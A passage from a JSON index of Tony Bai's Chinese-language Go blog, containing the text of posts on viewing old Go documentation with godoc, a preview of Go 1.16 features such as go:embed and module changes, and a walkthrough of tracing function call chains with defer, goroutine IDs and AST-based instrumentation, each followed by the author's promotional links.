1.9.7的了。\n我们看到，通过godoc，我们不仅无需切换本地环境中的go版本，我们还建立起了像golang.org那样的图形化的历史go版本的文档中心。这也是截至目前为止查看Go历史版本版本文档的最佳方法了！\n更多关于常用Go工具链的高级用法的内容请参看我在慕课网上出品的Go进阶技术专栏《改善Go语言编程质量的50个有效实践》。本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/15/how-to-see-the-manual-of-go-history-version/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-see-the-manual-of-go-history-version-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://mp.weixin.qq.com/s/woQeEQUhOLJ7KSE5rm5q6g\"\u003eGo语言自开源至今已经11个年头了\u003c/a\u003e！截至本文发稿时，目前\u003ca href=\"https://mp.weixin.qq.com/s/B5onfyP7BPYCh_rMSBtfcQ\"\u003e最新的Go版本为1.15\u003c/a\u003e，Go核心开发团队正紧锣密鼓的进行着\u003ca href=\"https://mp.weixin.qq.com/s/JzAQ3r9lDBad8PO6iAerqw\"\u003eGo 1.16版本\u003c/a\u003e的开发（现阶段主要是修复bug），该版本将在2021年2月份正式发布。\u003c/p\u003e\n\u003cp\u003eGo以“自带电池(battery included)”而为人所知，除了Go标准库的全面和强大之外，Go工具链的丰富和易用在主流编程语言中也是位列“执牛耳者”之列的，而Go文档查看工具就在Go工具链之列中。\u003c/p\u003e","title":"如何查看历史版本的Go文档？嘘！答案我只告诉你！"},{"content":"2020年最后一个购物狂欢，双十二购物节“Gopher部落”知识星球推出双十二优惠！本年度最低折扣仅限今天一天。笔者建立“Gopher部落”旨在建立一个高质量的Go语言技术精品社区，持续不断的高质量技术资料分享，让加入的星友每天都有新收获！欢迎大家加入！\nGo 1.16将于2021年2月发布。目前已经进入freeze状态，即不再接受新feature，仅fix bug、编写文档和接受安全更新等。\n目前Go 1.16的发布说明尚处于早期草稿阶段，但Go团队成员正在致力于编写发布说明。Go 1.16的完全特性列表说明还得等真正发布前才能得到。如今要了解Go 1.16功能特性都有哪些变化，只能结合现有的release note以及从Go 1.16里程碑中的issue列表中挖掘。\n下面就“挖掘”到的Go 1.16重要功能特性变化做简要的且不完全的前瞻。\n1. 支持Apple Silicon M1芯片 Apple Silicon M1芯片Macbook的发布让Go团队紧急为Go 1.16增加对M1的支持。如果要跨平台编译，只需设定GOOS=darwin, GOARCH=arm64即可构建出可以在搭载M1芯片的Macbook上运行的Go应用。\n同时Go 1.16还增加了对ios/amd64的支持，主要是为了支持在amd64架构上的MacOS上运行ios模拟器。\n2. RISC-V架构支持cgo和-buildmode=pie RISC-V架构很可能是未来5-10年挑战ARM的最主要架构，Go语言持续加大对RISC-V架构的支持，在Go 1.16中对linux/riscv64又增加了cgo支持以及-buildmode=pie。不过目前对risc-v仍仅限于linux os。\n3. 有关go module的变化 module-aware模式成为默认状态。如要回到gopath mode，将GO111MODULE设置为auto； go build和go test不会修改go.mod和go.sum文件。能修改这两个文件的命令只有go get和go mod tidy； go get之前的构建和安装go包的行为模式将被废弃。go get将专注于分析依赖，并获取go包/module，更新go.mod/go.sum； go install将恢复自己构建和安装包的“角色”（在go module加入后，go install日益受到冷落，这次翻身了)； go.mod将支持retract指示符，包或module作者可以利用该指示符在自己module的go.mod中标记某些版本撤回(因不安全、不兼容或损坏等原因)，不建议使用。 go.mod中的exclude指示符语义变更：Go 1.16中将忽略exclude指示的module/包依赖；而之前的版本go工具链仅仅是跳过exclude指示的版本，而使用该依赖包/module的下一个版本。 -i build flag废弃； go get的-insecure命令行标志选项作废，可以用GOINSECURE环境变量指示go get是否通过不安全的http去获取包； 4. 支持在Go二进制文件中嵌入静态文件(文本、图片等) Go 1.16新增go:embed指示符和embed标准库包，二者一起用于支持在在Go二进制文件中嵌入静态文件。下面是一个在Go应用中嵌入文本文件用于http应答内容的小例子：\n// hello.txt hello, go 1.16 // main.go package main import ( _ \u0026quot;embed\u0026quot; \u0026quot;net/http\u0026quot; ) //go:embed hello.txt var s string func main() { http.Handle(\u0026quot;/\u0026quot;, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(s)) })) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 上述源码中的go:embed指示符的含义是：将hello.txt内容存储在字符串变量s中。我们构建该源码，并验证一下s中存储的是否是hello.txt中的数据：\n$ go build -o demo main.go $ mv hello.txt hello.txt.bak // 将hello.txt改名，我们看看数据是否真的已经嵌入到二进制文件demo中了 $ ./demo $curl localhost:8080 hello, go 1.16 5.GODEBUG环境变量支持跟踪 当GODEBUG环境变量包含inittrace=1时，Go运行时将会报告各个源代码文件中的init函数的执行时间和内存开辟消耗情况。比如对于上面的程序demo，我们按如下命令执行：\n# GODEBUG=inittrace=1 ./demo init internal/bytealg @0.014 ms, 0 ms clock, 0 bytes, 0 allocs init runtime @0.033 ms, 0.015 ms clock, 0 bytes, 0 allocs init errors @0.24 ms, 0.003 ms clock, 0 bytes, 0 allocs init sync @0.47 ms, 0.001 ms clock, 16 bytes, 1 allocs init io @0.66 ms, 0 ms clock, 144 bytes, 9 allocs init internal/oserror @0.85 ms, 0 ms clock, 80 bytes, 5 allocs init syscall @1.0 ms, 0.006 ms clock, 624 bytes, 2 allocs init time @1.2 ms, 0.013 ms clock, 384 bytes, 8 allocs init path @1.4 ms, 0.003 ms clock, 16 bytes, 1 allocs init io/fs @1.6 ms, 0 ms clock, 16 bytes, 1 allocs init context @2.3 ms, 0.002 ms clock, 128 bytes, 4 allocs init math @2.5 ms, 0 ms clock, 0 bytes, 0 allocs init strconv @2.7 ms, 0 ms clock, 32 bytes, 2 allocs init unicode @2.9 ms, 0.065 ms clock, 23736 bytes, 26 allocs init bytes @3.2 ms, 0 ms clock, 48 bytes, 3 allocs init crypto @3.3 ms, 0.001 ms clock, 160 bytes, 1 allocs init reflect @3.5 ms, 0.002 ms clock, 0 bytes, 0 allocs init encoding/binary @3.7 ms, 0 ms clock, 16 bytes, 1 allocs init crypto/cipher @3.8 ms, 0 ms clock, 16 bytes, 1 allocs init crypto/aes @4.0 ms, 0.003 ms clock, 16 bytes, 1 allocs init internal/poll @4.1 ms, 0 ms clock, 64 bytes, 4 allocs init os @4.2 ms, 0.029 ms clock, 544 bytes, 13 allocs init fmt @4.4 ms, 0.003 ms clock, 32 bytes, 2 allocs init math/rand @4.5 ms, 0.023 ms clock, 5440 bytes, 3 allocs init math/big @4.7 ms, 0.002 ms clock, 32 bytes, 2 allocs init crypto/sha512 @4.8 ms, 0.004 ms clock, 0 bytes, 0 allocs init encoding/asn1 @5.0 ms, 0.004 ms clock, 224 bytes, 7 allocs init vendor/golang.org/x/crypto/cryptobyte @5.1 ms, 0 ms clock, 48 bytes, 2 allocs init crypto/ecdsa @5.3 ms, 0 ms clock, 48 bytes, 3 allocs init bufio @5.4 ms, 0.003 ms clock, 176 bytes, 11 allocs init crypto/rand @5.6 ms, 0.001 ms clock, 120 bytes, 4 allocs init crypto/rsa @5.7 ms, 0.007 ms clock, 648 bytes, 18 allocs init crypto/sha1 @5.8 ms, 0 ms clock, 0 bytes, 0 allocs init crypto/sha256 @5.9 ms, 0 ms clock, 0 bytes, 0 allocs init encoding/base64 @5.9 ms, 0.006 ms clock, 1408 bytes, 4 allocs init crypto/md5 @6.0 ms, 0 ms clock, 0 bytes, 0 allocs init encoding/hex @6.1 ms, 0 ms clock, 16 bytes, 1 allocs init crypto/x509/pkix @6.1 ms, 0.001 ms clock, 624 bytes, 2 allocs init path/filepath @6.2 ms, 0 ms clock, 16 bytes, 1 allocs init vendor/golang.org/x/net/dns/dnsmessage @6.3 ms, 0.009 ms clock, 1616 bytes, 27 allocs init net @6.3 ms, 0.029 ms clock, 2840 bytes, 74 allocs init crypto/dsa @6.5 ms, 0 ms clock, 16 bytes, 1 allocs init crypto/x509 @6.5 ms, 0.016 ms clock, 4768 bytes, 15 allocs init io/ioutil @6.7 ms, 0.002 ms clock, 16 bytes, 1 allocs init vendor/golang.org/x/sys/cpu @6.7 ms, 0.009 ms clock, 1280 bytes, 1 allocs init vendor/golang.org/x/crypto/chacha20poly1305 @6.8 ms, 0 ms clock, 16 bytes, 1 allocs init vendor/golang.org/x/crypto/curve25519 @6.9 ms, 0 ms clock, 0 bytes, 0 allocs init crypto/tls @7.0 ms, 0.007 ms clock, 1600 bytes, 11 allocs init log @7.0 ms, 0 ms clock, 80 bytes, 1 allocs init mime @7.1 ms, 0.008 ms clock, 1232 bytes, 4 allocs init mime/multipart @7.2 ms, 0.001 ms clock, 192 bytes, 4 allocs init compress/flate @7.3 ms, 0.012 ms clock, 4240 bytes, 7 allocs init hash/crc32 @7.4 ms, 0.014 ms clock, 1024 bytes, 1 allocs init compress/gzip @7.5 ms, 0 ms clock, 32 bytes, 2 allocs init vendor/golang.org/x/text/transform @7.5 ms, 0 ms clock, 80 bytes, 5 allocs init vendor/golang.org/x/text/unicode/bidi @7.6 ms, 0.005 ms clock, 272 bytes, 2 allocs init vendor/golang.org/x/text/secure/bidirule @7.7 ms, 0.008 ms clock, 16 bytes, 1 allocs init vendor/golang.org/x/text/unicode/norm @7.8 ms, 0.002 ms clock, 0 bytes, 0 allocs init vendor/golang.org/x/net/idna @7.8 ms, 0 ms clock, 0 bytes, 0 allocs init vendor/golang.org/x/net/http/httpguts @7.9 ms, 0.002 ms clock, 848 bytes, 3 allocs init vendor/golang.org/x/net/http2/hpack @7.9 ms, 0.063 ms clock, 22440 bytes, 32 allocs init net/http/internal @8.1 ms, 0.005 ms clock, 1808 bytes, 3 allocs init vendor/golang.org/x/net/http/httpproxy @8.2 ms, 0 ms clock, 336 bytes, 2 allocs init net/http @8.3 ms, 0.026 ms clock, 10280 bytes, 113 allocs 我们看到各个依赖包中的init函数执行的消耗情况都被输出了出来，根据这些信息，我们可以很容易判断出init函数中可能存在的性能问题或瓶颈。\n6. 链接器进一步优化 既Go 1.15实现了go linker的第一阶段优化后，Go 1.16中继续实施了对linker的第二阶段优化。优化后的链接器要平均比Go 1.15的快20%-25%，消耗的内存却减少5%-15%。\n7. struct field的tag中的多个key可以合并写 如果某个结构体支持多种编码格式的序列化和反序列化，比如：json、bson、xml，那么之前版本需要按如下书写该结构体的字段tag，冗长且重复：\ntype MyStruct struct { Field1 string `json:\u0026quot;field_1,omitempty\u0026quot; bson:\u0026quot;field_1,omitempty\u0026quot; xml:\u0026quot;field_1,omitempty\u0026quot; form:\u0026quot;field_1,omitempty\u0026quot; other:\u0026quot;value\u0026quot;` } Go 1.16支持将多个key进行合并，上面的tag可以写成如下形式：\ntype MyStruct struct { Field1 string `json bson xml form:\u0026quot;field_1,omitempty\u0026quot; other:\u0026quot;value\u0026quot;` } 8. 其他改变 新增runtime/metrics包，以替代runtime.ReadMemStats和debug.ReadGCStats输出runtime的各种度量数据，这个包更通用稳定，性能也更好； 新增io/fs包，用于提供只读的操作os的文件树的高级接口； 对Unicode标准的支持从12.0.0升级为13.0.0。 附录：安装go tip版本的两种方式 1) 从源码安装 $git clone https//github.com/golang/go.git $cd go/src $./all.bash 2) 使用gotip工具安装 $go get golang.org/dl/gotip $gotip download 我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/12/a-forward-look-to-new-feature-of-go-1-16/","summary":"\u003cp\u003e2020年最后一个购物狂欢，\u003ca href=\"http://image.tonybai.com/img/202011/gopher-tribe-2020-12-12.png\"\u003e双十二购物节“Gopher部落”知识星球推出双十二优惠！\u003c/a\u003e本年度最低折扣仅限今天一天。笔者建立“Gopher部落”旨在建立一个高质量的Go语言技术精品社区，持续不断的高质量技术资料分享，让加入的星友每天都有新收获！欢迎大家加入！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"http://image.tonybai.com/img/202011/gopher-tribe-2020-12-12.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGo 1.16将于2021年2月发布。目前已经进入freeze状态，即不再接受新feature，仅fix bug、编写文档和接受安全更新等。\u003c/p\u003e","title":"Go 1.16新功能特性不完全前瞻"},{"content":"\n这篇文章的初衷是想解答知乎上的一位知友提出的问题。没想到完成一种实现后，这个问题居然被删除了。那么既然实现了，就分享出来吧。问题的原文找不到了，问题大致是这样的：\n一个程序中存在多个函数调用链都调用了函数D： A1 -\u0026gt; B1 \u0026gt; C1 -\u0026gt; D A2 -\u0026gt; B2 \u0026gt; C2 -\u0026gt; D A3 -\u0026gt; B3 -\u0026gt; C3 -\u0026gt; D ... ... 那么，如果某次函数D被调用时出现了问题，那么怎么知道这个D是哪个函数调用链里的D呢？ 有些gopher可能会说通过Delve在线调试打印函数调用栈可以知晓D的调用链，还有些gopher可能会说通过各个函数中输出的业务日志可以查明出问题的D归属的函数调用链，这些都是可行的思路。\n不过当遇到这个问题时，我大脑中的第一反应却是能否像跟踪分布式服务调用链那样跟踪函数调用链呢？于是就有了本文对这种思路的一个非生产级的实现以及其演化过程。\n1. 利用defer实现函数出入口的跟踪 跟踪函数调用，我们首先想到的就是跟踪函数的出入口，而完成这一任务，当仁不让的就是利用defer。对于我这样的从C语言转到Go的gopher而言，defer是我十分喜欢的Go“语法糖”，因为它可以简化代码的实现，让代码逻辑更清晰，具有更好地可读性(关于defer让代码更清晰的系统描述，可参考我的Go进阶技术专栏文章：https://www.imooc.com/read/87/article/2421)。\n下面我们就来看看第一版函数跟踪实现的代码：\n// github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace1/trace.go func trace() func() { pc, _, _, ok := runtime.Caller(1) if !ok { panic(\u0026quot;not found caller\u0026quot;) } fn := runtime.FuncForPC(pc) name := fn.Name() fmt.Printf(\u0026quot;enter: %s\\n\u0026quot;, name) return func() { fmt.Printf(\u0026quot;exit: %s\\n\u0026quot;, name) } } // github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace1/main.go func A1() { defer trace()() B1() } func B1() { defer trace()() C1() } func C1() { defer trace()() D() } func D() { defer trace()() } func main() { A1() } 我们看到：以A1实现为例，当执行流来带defer语句时，首先会对defer后面的表达式进行求值。trace函数会执行，输出函数入口信息，并返回一个“打印出口信息”的匿名函数。该函数在此并不会执行，而是被注册到函数A1的defer函数栈中，待A1函数执行结束后才会被弹出执行。也就是在A1结束后，会有一条函数的出口信息被输出。\n下面我们来真实运行一下上面的trace1示例(Go 1.14, macOS 10.14.6)：\n// github.com/bigwhite/experiments/trace-function-call-chain/trace1 $go build $./functrace-demo enter: main.A1 enter: main.B1 enter: main.C1 enter: main.D exit: main.D exit: main.C1 exit: main.B1 exit: main.A1 我们看到各个函数的出入口信息都被输出了，在单Goroutine的情况下，我们从执行顺序上能识别出D究竟是归属于哪个调用链的。\n2. 添加trace开关 对函数调用链进行Trace是有一定性能损耗的，我们可能并不想在所有场合都开启trace，那么我们来给Trace添加一个“开关”，我们利用go build tags来实现这个功能特性：\n// github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace2/trace.go // +build trace package main ... ... // github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace2/trace_nop.go // +build !trace package main func trace() func() { return func() { } } 我们新增一个名为trace_nop.go的文件，里面包含了一个trace函数的空实现，即在trace函数与其返回的匿名函数中什么都不做。该源文件增加了一个build指示器(directive)：\n// +build !trace 即在关闭trace开关时，使用该文件中的trace函数。而原trace.go文件中也增加了一个build指示器：\n// +build trace 即只有在打开trace开关的情况下，才会使用该源文件。\n我们来对比一下在trace开关打开和关闭下的执行结果：\n// github.com/bigwhite/experiments/trace-function-call-chain/trace2 // trace开关关闭 $go build $./functrace-demo vs. // trace开关打开 $go build -tags trace $./functrace-demo enter: main.A1 enter: main.B1 enter: main.C1 enter: main.D exit: main.D exit: main.C1 exit: main.B1 exit: main.A1 不过这里的实现还是有一个问题的，那就是即便不开启trace开关，trace_nop.go中的trace函数也是会被编译到可执行程序中的。利用go tool compile -S查看汇编代码，trace_nop.go中的trace函数以及其返回的匿名函数都没有被inline掉。这会带来一定的运行时开销，这个问题我们先记下并留到后面解决。\n3. 增加对多goroutine函数调用链的跟踪支持 前面的实现面对只有一个goroutine的时候还是可以支撑的，但当程序中并发运行多个goroutine的时候，多个函数调用链的出入口信息输出就会混杂在一起无法分辨。下面我们就来改造一下实现，增加对多goroutine函数调用链的跟踪支持。我们的方案就是在输出函数出入口信息时，带上一个在程序每次执行时能唯一区分goroutine的goroutine id：\n// github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace3/trace.go func getGID() uint64 { b := make([]byte, 64) b = b[:runtime.Stack(b, false)] b = bytes.TrimPrefix(b, []byte(\u0026quot;goroutine \u0026quot;)) b = b[:bytes.IndexByte(b, ' ')] n, _ := strconv.ParseUint(string(b), 10, 64) return n } func trace() func() { pc, _, _, ok := runtime.Caller(1) if !ok { panic(\u0026quot;not found caller\u0026quot;) } fn := runtime.FuncForPC(pc) name := fn.Name() id := getGID() fmt.Printf(\u0026quot;g[%02d]: enter %s\\n\u0026quot;, id, name) return func() { fmt.Printf(\u0026quot;g[%02d]: exit %s\\n\u0026quot;, id, name) } } main.go也改成了启动多个Goroutine：\n// github.com/bigwhite/experiments/blob/master/trace-function-call-chain/trace3/main.go func A1() { defer trace()() B1() } func B1() { defer trace()() C1() } func C1() { defer trace()() D() } func D() { defer trace()() } func A2() { defer trace()() B2() } func B2() { defer trace()() C2() } func C2() { defer trace()() D() } func main() { var wg sync.WaitGroup wg.Add(1) go func() { A2() wg.Done() }() time.Sleep(time.Millisecond * 50) A1() wg.Wait() } 在trace功能开关打开的前提下，运行上面例子：\n// github.com/bigwhite/experiments/trace-function-call-chain/trace3 $go build -tags trace $./functrace-demo g[18]: enter main.A2 g[18]: enter main.B2 g[18]: enter main.C2 g[18]: enter main.D g[18]: exit main.D g[18]: exit main.C2 g[18]: exit main.B2 g[18]: exit main.A2 g[01]: enter main.A1 g[01]: enter main.B1 g[01]: enter main.C1 g[01]: enter main.D g[01]: exit main.D g[01]: exit main.C1 g[01]: exit main.B1 g[01]: exit main.A1 4. 让输出更美观一些 了解分布式服务调用跟踪的童鞋都知道，通过带有层次感的输出，我们可以很容易识别出某个服务在哪个环节被调用。而上面我们的Trace输出太扁平，没有层次感，不容易识别，我们这里就来美化一下输出。我们将trace.go做如下改造：\n// github.com/bigwhite/experiments/trace-function-call-chain/trace4/trace.go var mu sync.Mutex var m = make(map[uint64]int) func printTrace(id uint64, name, typ string, indent int) { indents := \u0026quot;\u0026quot; for i := 0; i \u0026lt; indent; i++ { indents += \u0026quot;\\t\u0026quot; } fmt.Printf(\u0026quot;g[%02d]:%s%s%s\\n\u0026quot;, id, indents, typ, name) } func trace() func() { pc, _, _, ok := runtime.Caller(1) if !ok { panic(\u0026quot;not found caller\u0026quot;) } id := getGID() fn := runtime.FuncForPC(pc) name := fn.Name() mu.Lock() v := m[id] m[id] = v + 1 mu.Unlock() printTrace(id, name, \u0026quot;-\u0026gt;\u0026quot;, v+1) return func() { mu.Lock() v := m[id] m[id] = v - 1 mu.Unlock() printTrace(id, name, \u0026quot;\u0026lt;-\u0026quot;, v) } } 编译运行：\n// github.com/bigwhite/experiments/trace-function-call-chain/trace4 $go build -tags trace $./functrace-demo g[18]: -\u0026gt;main.A2 g[18]: -\u0026gt;main.B2 g[18]: -\u0026gt;main.C2 g[18]: -\u0026gt;main.D g[18]: \u0026lt;-main.D g[18]: \u0026lt;-main.C2 g[18]: \u0026lt;-main.B2 g[18]: \u0026lt;-main.A2 g[01]: -\u0026gt;main.A1 g[01]: -\u0026gt;main.B1 g[01]: -\u0026gt;main.C1 g[01]: -\u0026gt;main.D g[01]: \u0026lt;-main.D g[01]: \u0026lt;-main.C1 g[01]: \u0026lt;-main.B1 g[01]: \u0026lt;-main.A1 这回显然好看多了，也更容易定位问题了！（当多个goroutine的函数跟踪输出混在一起时，我们还可以用grep工具将特定id的goroutine的函数跟踪输出过滤出来，比如：functrace-demo|grep “01″）。\n5. 利用代码生成将trace代码注入到各个函数中 在前面我们提到过上面实现的一个问题，那就是一旦将trace写死到各个函数代码中，即便在trace开关未打开的情况下，依然是有性能损耗的。并且，上面的实现存在着对业务代码的较强的“代码侵入性”。那么我们能否减少侵入，像分布式服务跟踪那样将“跟踪”的设施注入(instrumenting)到需要跟踪的函数中呢？下面我们就来尝试一下。\n1) 将trace单独打包为一个module 我们首先要做的就是将trace相关的代码单独提取打包为一个module。这里我将上面的trace.go和trace_nop.go放入了一个路径为github.com/bigwhite/functrace的module中：\n$tree -F -L 2 functrace functrace ├── LICENSE ... ... ├── README.md ├── example_test.go ├── go.mod ├── go.sum ├── trace.go └── trace_nop.go 有了这个module，你可以以“侵入式”的方式为你的代码添加函数链调用跟踪，就像上面repo中example_test.go中的那样：\n// https://github.com/bigwhite/functrace/blob/main/example_test.go import ( \u0026quot;github.com/bigwhite/functrace\u0026quot; ) func a() { defer functrace.Trace()() b() } func b() { defer functrace.Trace()() c() } func c() { defer functrace.Trace()() d() } func d() { defer functrace.Trace()() } func ExampleTrace() { a() // Output: // g[01]: -\u0026gt;github.com/bigwhite/functrace_test.a // g[01]: -\u0026gt;github.com/bigwhite/functrace_test.b // g[01]: -\u0026gt;github.com/bigwhite/functrace_test.c // g[01]: -\u0026gt;github.com/bigwhite/functrace_test.d // g[01]: \u0026lt;-github.com/bigwhite/functrace_test.d // g[01]: \u0026lt;-github.com/bigwhite/functrace_test.c // g[01]: \u0026lt;-github.com/bigwhite/functrace_test.b // g[01]: \u0026lt;-github.com/bigwhite/functrace_test.a } 2) 增加代码注入功能 我们在github.com/bigwhite/functrace仓库中增加了一个名为gen的工具。利用该工具我们可以将functrace中的trace基础设施代码自动注入(instrumenting)到目标源文件的各个函数定义中。这个工具调用的核心算法在github.com/bigwhite/functrace/pkg/generator中：\n// github.com/bigwhite/functrace/blob/main/pkg/generator/rewrite.go func Rewrite(filename string) ([]byte, error) { fset := token.NewFileSet() oldAST, err := parser.ParseFile(fset, filename, nil, 0) if err != nil { return nil, fmt.Errorf(\u0026quot;error parsing %s: %w\u0026quot;, filename, err) } if !hasFuncDecl(oldAST) { return nil, nil } // add import declaration astutil.AddImport(fset, oldAST, \u0026quot;github.com/bigwhite/functrace\u0026quot;) // inject code into each function declaration addDeferTraceIntoFuncDecls(oldAST) buf := \u0026amp;bytes.Buffer{} err = format.Node(buf, fset, oldAST) if err != nil { return nil, fmt.Errorf(\u0026quot;error formatting new code: %w\u0026quot;, err) } return buf.Bytes(), nil } 我们看到这个包的Rewrite函数使用了Go项目提供的go/ast包以及Go扩展项目提供的ast(抽象语法树)操作工具包golang.org/x/tools/go/ast/astutil对目标源文件进行解析、修改并重建的。go/ast包的内容较多，其本身就具备单独写几篇文章了，这里不赘述。有兴趣的童鞋可以移步本文后面的参考资料，或查看go官方文档了解。\n为了帮助大家了解如何使用gen生成带有trace的代码，我还在functrace这个repo中建立了一个demo：examples/gen-demo：\n$tree examples/gen-demo examples/gen-demo ├── Makefile ├── go.mod ├── go.sum └── main.go 在该demo中，我们利用go generate生成带有跟踪代码的目标代码：\n// https://github.com/bigwhite/functrace/blob/main/examples/gen-demo/main.go package main //go:generate ../../gen -w main.go ... ... 构建该demo并运行(为了方便构建，我建立了Makefile)：\n// Makefile all: go generate go build -tags trace $make go generate [../../gen -w main.go] add trace for main.go ok go build -tags trace $./functrace-demo g[01]: -\u0026gt;main.main g[01]: -\u0026gt;main.A2 g[01]: -\u0026gt;main.B2 g[01]: -\u0026gt;main.C2 g[01]: -\u0026gt;main.D g[01]: \u0026lt;-main.D g[01]: \u0026lt;-main.C2 g[01]: \u0026lt;-main.B2 g[01]: \u0026lt;-main.A2 g[18]: -\u0026gt;main.A1 g[18]: -\u0026gt;main.B1 g[18]: -\u0026gt;main.C1 g[18]: -\u0026gt;main.D g[18]: \u0026lt;-main.D g[18]: \u0026lt;-main.C1 g[18]: \u0026lt;-main.B1 g[18]: \u0026lt;-main.A1 g[01]: \u0026lt;-main.main 我们看到，我们通过ast将跟踪代码注入到目标代码并运行的思路成功实现了！\n6. 小结 functrace module中Trace函数的实现比较简单，目前仅是输出日志，但实际上我们可以在Trace函数中以及Trace函数返回的匿名函数中通过各种方式输出我们想要的数据，比如，像分布式服务跟踪那样，将数据发送到一个集中的后端做统一存储、分析和展示。但鉴于篇幅和需求不同，这里仅给出满足演示的实现，大家可以自行fork该repo以实现满足你们自己需求的实现。\n7. 参考资料 https://mattermost.com/blog/instrumenting-go-code-via-ast/ https://developers.mattermost.com/blog/open-tracing/ https://blog.gopheracademy.com/code-generation-from-the-ast/ http://www.go2live.cn/nocate/golang-ast语法树使用教程及示例.html https://www.ctolib.com/topics-80234.html https://github.com/yuroyoro/goast-viewer https://liudanking.com/performance/golang-%e8%8e%b7%e5%8f%96-goroutine-id-%e5%ae%8c%e5%85%a8%e6%8c%87%e5%8d%97/ 本文中涉及到的示例源码可以到这里下载 https://github.com/bigwhite/experiments/tree/master/trace-function-call-chain。\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/10/a-kind-of-thinking-about-how-to-trace-function-call-chain/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/implement-trace-function-call-chain-by-inject-code-with-ast-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这篇文章的初衷是想解答知乎上的一位知友\u003ca 